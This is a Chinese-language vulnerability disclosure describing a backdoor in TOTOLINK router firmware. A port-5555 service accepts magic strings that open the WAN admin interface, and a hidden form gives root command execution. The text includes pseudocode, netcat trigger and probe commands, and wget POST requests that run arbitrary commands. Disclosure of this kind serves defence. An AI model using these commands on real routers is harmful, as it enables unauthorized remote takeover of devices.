TOTOLINK是ipTime的兄弟品牌,韩国SOHO市场占有率达80%。TOTOLINK产品线覆盖:路由器、WiFi接入点及其他网络设备。 旗下产品在世界范围内都有销售。
在TOTOLINK多款产品中,都存在一个后门,无论是最新固件的分析还是路由器的实测,都确认了该漏洞的存在。
并且,至少有8款TOTOLINK产品受到该后门的影响,我们分析的固件取自TOTOLINK.net以及TOTOLINK.cn:
通过向WAN IP 发送一个精心构造的请求,攻击者就能过通过互联网打开设备的HTTP 远程管理界面。这样,攻击者可以继续通过利用隐藏的/boafrm/formSysCmd表单,借助HTTP远程管理界面来远程执行代码,从而绕过认证系统。
我们估计大约有50000台路由器受此后门影响。
当路由器启动时,/etc/init.d/rcS脚本将执行二进制程序/bin/skt:
cat etc/init.d/rcS
[...]
# start web server
boa
skt&
Skt是一个小的MIPS二进制程序,实际上就是一个客户机/服务器程序。参数如下:
server: ./skt
client: ./skt host cmd
该二进制程序也可以在x86_64机器上运行,不过需要借助QEMU,具体命令为:
sudo chroot . ./qemu-mips-static ./bin/skt。
在运行skt时,如果不带参数,则是作为一个TCP服务进程,监听所有接口(包括WAN)的5555端口;如果带参数则是作为一个客户端,发送TCP数据包到指定IP的5555端口,当然,数据包中存放的是命令。
Skt程序有两个主要功能:
TcpClient:
它将向一个远程IP地址5555端口发送一个TCP数据包,数据包内含有hel,xasf、oki,xasf或者 bye,xasf,具体取决于使用的参数是1、2或3。
TcpServer:
TcpServer是一个echo服务器,用来侦听5555/tcp端口,并将收到的字符串与硬编码的字符串("hel,xasf", "oki,xasf")进行比较。
问题出现在sub_400B50函数中:
Sub_400B50的伪代码
int32_t sub_400B50(int32_t a1, char *str, int32_t a3, int32_t a4, int32_t a5) { if (strcmp(str, "hel,xasf") == 0) { system("iptables -I INPUT -p tcp --dport 80 -i eth1 -j ACCEPT"); } else { if (strcmp(str, "oki,xasf") == 0) { system("iptables -D INPUT -p tcp --dport 80 -i eth1 -j ACCEPT"); } } [...] }
这个函数是用来比较字符串的,其中一个字符串来自于用户,另两个字符串是硬编码形式的字符串,并根据比较的结果来执行system()。
让该二进制程序在TOTOLINK设备上运行,通过分析发现,它的服务器模式能够响应三条命令,即悄悄在后台执行system()函数:
如果向该设备发送“hel,xasf ”,那么这个设备将会执行:
iptables -I INPUT -p tcp --dport 80 -i eth1 -j ACCEPT
这条命令会在eth1接口的80端口打开HTTP远程管理界面,而默认情况下该接口就是广域网接口。
如果向该设备发送“oki,xasf ”,那么这个设备将会执行:
iptables -D INPUT -p tcp --dport 80 -i eth1 -j ACCEPT
这个命令将关闭HTTP远程管理界面。
如果向这个设备发送“bye,xasf”(在这个二进制程序中硬编码的字符串),那么这个设备将什么也不会做。
在这个后门中的iptables命令被硬编码为“eth1”。 并且,只有那些使用动态主机配置协议和静态IP连接的设备才会受到影响,这是因为该WAN IP 被绑定到了eth1设备上面。
对于那些使用PPPoE连接的设备,是不会受到该后门影响的,因为这时WAN IP 被绑定到了ppp设备上面,具体如下所示:totolink# ifconfig ppp0 Link encap:Point-to-Point Protocol inet addr:X.X.X.X P-t-P:X.X.X.X Mask:255.255.255.255 UP POINTOPOINT RUNNING NOARP MULTICAST MTU:1438 Metric:1 RX packets:17308398 errors:0 dropped:0 overruns:0 frame:0 TX packets:2605290 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:64 RX bytes:2803138455 (2.6 GiB) TX bytes:277402492 (264.5 MiB)
攻击者可以使用下面这些简单的netcat命令来测试该后门。
为了通过互联网打开HTTP远程管理界面,可以使用如下所示的命令:
echo -ne "hel,xasf" | nc <ip> 5555
为了通过互联网关闭HTTP远程管理界面,可以使用如下所示的命令:
echo -ne "oki,xasf" | nc <ip> 5555
下面是用于探测具有漏洞的路由器的命令:
echo -ne "GET / HTTP/1.1" | nc <ip> 5555
if you see "GET / HTTP/1.1" in the answer, you likely detected a vulnerable router.
用这个后门打开HTTP远程管理界面的方法:
最新固件中的隐形表单(hidden form)使得攻击者能够以root用户权限通过发送HTTP请求来执行命令:
POST /boafrm/formSysCmd HTTP/1.1
sysCmd=<cmd>&apply=Apply&msg=
攻击者可以使用wget在远程设备上面执行命令:
wget --post-data='sysCmd=<cmd>&apply=Apply&msg=' http://ip//boafrm/formSysCmd
比如,向管理接口发送这个HTTP请求就能够重新启动该设备:
POST /boafrm/formSysCmd HTTP/1.1
sysCmd=reboot&apply=Apply&msg=
下面这条wget命令也能够完成同样的任务:
wget --post-data='sysCmd=reboot&apply=Apply&msg=' http://ip//boafrm/formSysCmd